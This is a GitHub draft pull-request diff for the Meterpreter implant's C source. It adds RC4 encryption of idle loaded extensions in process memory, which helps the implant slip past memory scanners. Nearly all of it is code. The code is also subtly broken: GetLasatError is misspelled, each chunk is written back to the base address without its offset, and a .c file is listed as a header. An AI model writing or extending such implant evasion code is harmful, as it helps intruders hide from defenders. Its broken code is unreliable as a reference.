Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions c/meterpreter/source/common/common_core.h
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,13 @@ typedef enum
*/
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)

/*!
* @brief Indicates that the library in question supports runtime encryption.
* @detail Libraries can be encrypted runtime, depending on how they interact with the system
* if this flag is present, it means this library support the runtime encryption.
*/
#define LOAD_LIBRARY_EXTENSION_ENCRYPTABLE (1 << 3)

/*! @brief An indication of whether the challen is synchronous or asynchronous. */
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
/*! @brief An indication of whether the content written to the channel should be compressed. */
Expand Down
148 changes: 148 additions & 0 deletions c/meterpreter/source/metsrv/extension_encryption.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
#include "extension_encryption.h"

extension_encryption_ctx* extension_statuses[MAX_EXTENSIONS] = { 0 };

BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx) {
BOOL ret = FALSE;

if (ExtensionCtx == NULL || !ExtensionCtx->encryptable) {
dprintf("[extension_encryption][extension_encryption_add] Either ExtensionCtx is NULL or Extension is not encryptable.");
return ret;
}

for (int i = 0; i < MAX_EXTENSIONS; i++) {
if (extension_statuses[i] == NULL) {
extension_statuses[i] = ExtensionCtx;
ret = TRUE;
break;
}
}
if (!ret) {
dprintf("[extension_encryption][extension_encryption_add] Couldn't locate an empty member in extension_statuses array.");
}
return ret;
}

BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx) {
BOOL ret = FALSE;

if (ExtensionCtx == NULL) {
dprintf("[extension_encryption][extension_encryption_remove] ExtensionCtx is NULL.");
return ret;
}

for (int i = 0; i < MAX_EXTENSIONS; i++) {
if (extension_statuses[i] == ExtensionCtx) {
extension_statuses[i] = NULL;
ret = TRUE;
break;
}
}
if (!ret) {
dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate ExtensionCtx in extension_statuses array.");
}
return ret;
}

BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx) {
RC4_CTX RC4 = { 0 };
size_t KeyLength = 0;
BOOL ret = FALSE;
unsigned char buff[4096] = { 0 };
DWORD diff = 4096;
size_t ByteCounter = 0;

if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) {
dprintf("[extension_encryption][extension_encryption_encrypt] Invalid ExtensionCtx.");
return ret;
}

KeyLength = strlen(ExtensionCtx->key);

if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) {
dprintf("[extension_encryption][extension_encryption_encrypt] Either KeyLength is 0 or InitRc4 failed.");
return ret;
}

for (DWORD i = 0; i != ExtensionCtx->size; i += diff) {
if ((ExtensionCtx->size - i) < 4096) {
diff = ExtensionCtx->size - i;
}
ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter);
if (!ret || ByteCounter != diff) {
dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLasatError());
break;
}
if (!RC4Cipher(&RC4, buff, diff)) {
dprintf("[extension_encryption][extension_encryption_encrypt] RC4Cipher failed.");
ret = FALSE;
break;
}
ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter);
if (!ret || ByteCounter != diff) {
dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError());
break;
}
}
if (ret) {
ExtensionCtx->encrypted = !ExtensionCtx->encrypted;
}
return ret;
}

BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx) {
RC4_CTX RC4 = { 0 };
size_t KeyLength = 0;
BOOL ret = FALSE;
unsigned char buff[4096] = { 0 };
DWORD diff = 4096;
size_t ByteCounter = 0;

if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || !ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) {
dprintf("[extension_encryption][extension_encryption_decrypt] Invalid ExtensionCtx.");
return ret;
}

KeyLength = strlen(ExtensionCtx->key);

if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) {
dprintf("[extension_encryption][extension_encryption_decrypt] Either KeyLength is 0 or InitRc4 failed.");
return ret;
}

for (DWORD i = 0; i != ExtensionCtx->size; i += diff) {
if ((ExtensionCtx->size - i) < 4096) {
diff = ExtensionCtx->size - i;
}
ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter);
if (!ret || ByteCounter != diff) {
dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLasatError());
break;
}
if (!RC4Cipher(&RC4, buff, diff)) {
dprintf("[extension_encryption][extension_encryption_decrypt] RC4Cipher failed.");
ret = FALSE;
break;
}
ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter);
if (!ret || ByteCounter != diff) {
dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError());
break;
}
}
if (ret) {
ExtensionCtx->encrypted = !ExtensionCtx->encrypted;
}
return ret;
}

void extension_encryption_encrypt_unused() {
for (int i = 0; i < MAX_EXTENSIONS; i++) {
if (extension_statuses[i] == NULL || !extension_statuses[i]->encryptable || extension_statuses[i]->encrypted || (GetTickCount() - extension_statuses[i]->LastUsedTime) < 600000) {
continue;
}
if (!extension_encryption_encrypt(extension_statuses[i])) {
dprintf("[extension_encryption][extension_encryption_encrypt_unused] extension_statuses[%d] couldn't be encrypted.", i);
}
}
}
19 changes: 19 additions & 0 deletions c/meterpreter/source/metsrv/extension_encryption.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#include "rc4.h"
#include "common.h"

#define MAX_EXTENSIONS 32 // ??

typedef struct {
BOOL encryptable;
BOOL encrypted;
LPCSTR key;
LPVOID loc;
DWORD size;
DWORD LastUsedTime;
} extension_encryption_ctx;

BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx);
BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx);
BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx);
BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx);
void extension_encryption_encrypt_unused();
48 changes: 48 additions & 0 deletions c/meterpreter/source/metsrv/rc4.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
#include "rc4.h"

BOOL InitRc4(RC4_CTX* Context, unsigned char* Key, size_t len) {
unsigned char T = 0;
unsigned int j = 0;

if (Context == NULL || Key == NULL || len == 0) {
return FALSE;
}

memset(Context, 0x00, sizeof(RC4_CTX));

for (unsigned int i = 0; i < 256; i++) {
Context->s[i] = i;
}

for (unsigned int i = 0; i < 256; i++) {
j = (j + Context->s[i] + Key[i % len]) % 256;
T = Context->s[i];
Context->s[i] = Context->s[j];
Context->s[j] = T;
}

Context->i = 0;
Context->j = 0;

return TRUE;
}

BOOL RC4Cipher(RC4_CTX* Context, unsigned char* buf, size_t len) {
unsigned char T = 0;
unsigned int i = Context->i;
unsigned int j = Context->j;

for (unsigned int k = 0; k < len;k++) {
i = (i+1) % 256;
j = (j + Context->s[i]) % 256;
T = Context->s[i];
Context->s[i] = Context->s[j];
Context->s[j] = T;
buf[k] ^= Context->s[(Context->s[i] + Context->s[j]) % 256];
}

Context->i = i;
Context->j = j;

return TRUE;
}
10 changes: 10 additions & 0 deletions c/meterpreter/source/metsrv/rc4.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#include <windows.h>

typedef struct {
unsigned int i, j;
unsigned char s[256];
} RC4_CTX;

BOOL InitRc4(RC4_CTX* Context, unsigned char* Key, size_t len);
BOOL RC4Cipher(RC4_CTX* Context, unsigned char* buf, size_t len);

3 changes: 3 additions & 0 deletions c/meterpreter/source/metsrv/remote_dispatch.c
Original file line number Diff line number Diff line change
Expand Up @@ -423,6 +423,9 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE) {
dprintf("[DEBUG] This extension can be encrypted!");
}
}

} while (0);
Expand Down
6 changes: 5 additions & 1 deletion c/meterpreter/workspace/metsrv/metsrv.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -570,6 +570,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ClInclude Include="..\..\source\metsrv\pool_party.h" />
<ClInclude Include="..\..\source\metsrv\pool_party_ext.h" />
<ClInclude Include="..\..\source\metsrv\winapi.h" />
<ClInclude Include="..\..\source\metsrv\rc4.h" />
<ClInclude Include="..\..\source\metsrv\extension_encryption.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\source\metsrv\base.c" />
Expand Down Expand Up @@ -601,6 +603,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ClCompile Include="..\..\source\logging\logging.c" />
<ClCompile Include="..\..\source\metsrv\pool_party.c" />
<ClCompile Include="..\..\source\metsrv\winapi.c" />
<ClCompile Include="..\..\source\metsrv\rc4.c" />
<ClInclude Include="..\..\source\metsrv\extension_encryption.c" />
</ItemGroup>
<ItemGroup>
<MASM Include="..\..\source\ReflectiveDLLInjection\dll\src\GateTrampoline32.asm">
Expand All @@ -618,4 +622,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>
8 changes: 7 additions & 1 deletion c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,9 @@
<ClInclude Include="..\..\source\metsrv\metapi.h" />
<ClInclude Include="..\..\source\metsrv\pool_party.h" />
<ClInclude Include="..\..\source\metsrv\pool_party_ext.h" />
<ClInclude Include="..\..\source\metsrv\winapi.h" />
<ClInclude Include="..\..\source\metsrv\rc4.h" />
<ClInclude Include="..\..\source\metsrv\extension_encryption.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\source\metsrv\pivot_tree.c" />
Expand Down Expand Up @@ -57,9 +60,12 @@
<ClCompile Include="..\..\source\metsrv\metapi.c" />
<ClCompile Include="..\..\source\logging\logging.c" />
<ClCompile Include="..\..\source\metsrv\pool_party.c" />
<ClCompile Include="..\..\source\metsrv\winapi.c" />
<ClCompile Include="..\..\source\metsrv\rc4.c" />
<ClInclude Include="..\..\source\metsrv\extension_encryption.c" />
</ItemGroup>
<ItemGroup>
<MASM Include="..\..\source\ReflectiveDLLInjection\dll\src\GateTrampoline64.asm" />
<MASM Include="..\..\source\ReflectiveDLLInjection\dll\src\GateTrampoline32.asm" />
</ItemGroup>
</Project>
</Project>
Loading